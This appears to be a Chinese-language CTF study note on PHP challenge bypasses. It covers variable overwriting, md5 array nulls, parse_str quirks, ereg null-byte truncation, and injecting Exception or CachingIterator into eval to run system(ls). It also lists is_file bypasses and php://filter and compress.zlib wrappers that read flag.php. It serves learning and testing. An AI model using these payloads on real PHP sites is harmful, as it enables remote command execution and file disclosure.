tab绕过
非常少见的一种绕过形式,看标题就知道怎么操作了吧,想必就不用多介绍了
变量覆盖
先来看看下面这题
include('flag.php');error_reporting(0);$error='你还想要flag嘛?';$suces='既然你想要那给你吧!';foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value;}foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value;}if(!($_POST['flag']==$flag)){ die($error);}echo "your are good".$flag."\n";die($suces);
想拿到flag的方法无非就是利用die($error)
和die($suces)
这两个函数
先上分别利用到这两个函数的payload
方法一:
POST:error=a
GET:a=flag
方法二
GET:a=flag&flag=
方法一利用的是一次POST判断和一次GET判断,达到第三变量a
传值的目的
而方法二则是利用两次GET传值进行变量覆盖,并且绕过了下面的if(!($_POST['flag']==$flag))
md5无法解析数组
RT,返回值均为null
parse_str()
把查询字符串解析到变量中。使用参考如下
传值的艺术
发现了一个十分微妙的地方,先来看看题目
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
这里有两种方法可以拿到flag,第一种是通过md5匹配,另一种是通过md5处理数组返回均为null这个特点,结合弱比较来进行
但当我在传值的时候发现了一个有趣的现象,直接看下面这些结果你就能看出端倪
#有flag
v1=flag=0cc175b9c0f1b6a831c399e269772661
v3=a
#无flag
v1="flag=0cc175b9c0f1b6a831c399e269772661"
v3=a
#有flag
v1="flag=0"
v3[]=1
#无flag
v1=flag=0
v3[]=1
根据后两条有无flag的结果,结合弱比较表可以推断,有加双引号的一组将flag值赋值为了数字型的0,而每加的赋值为了字符型的0
本地测试的时候,当我设置变量v1="flag=1"
时,经过parse_str()函数转换后,发现flag变量类型仍然为string而不是int
两者结果截然不同,具体原因也暂时并不明确
ereg()
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
例如,代码如下
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)
使用c=a%00111
就能绕过
Reflectionclass、Exception类
ReflectionClass被叫做反射类,顾名思义,可以理解为一个类的映射。
Exception被叫做异常处理,执行try里面的代码后,如果有错误就用exception抛出一个错误,然后通过catch捕捉错误信息
这两个类被利用的关键不在于他们本身的功能,而是他们的魔术方法__toString()。
__toString():当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。
比如来看看下面这段代码
$v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
echo会使得$v1
类触发__toString()
,其参数$v2
会被输出。
因此,payload如下
?v1=CachingIterator&v2=system(ls)
?v1=Exception&v2=system(ls)
$v2()
会把$v2
返回的值会作为函数名去调用,但是调用失败了,但也不会影响执行
同理,如可以让返回值是phpinfo,也就是v2=phpinfo,就可以调用phpinfo()
FilesystemIterator类
功能就是文件迭代,参考图片
配合getcwd函数获取当前的目录,就能读取到当前目录下第一个文件的名字
缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件
$GLOBALS
引用全局作用域中可用的全部变量。可以通过这个变量读取到被引用的flag.php文件中的flag
is_file()
is_file判断传入的东西是否是文件,但它认为伪协议不是文件。并且当文件层数过多时会导致溢出,也可以达到绕过的作用。例如下面这个判断
if(! is_file($file))
要让这个判断成立的方法也有很多,下面两种方法都能达到效果
方法一:
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
方法二:
compress.zlib://flag.php
compress.zlib://
这个伪协议是比较少用的,但同样可以读出文件
这里顺便给出一个常用的伪协议绕过清单
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php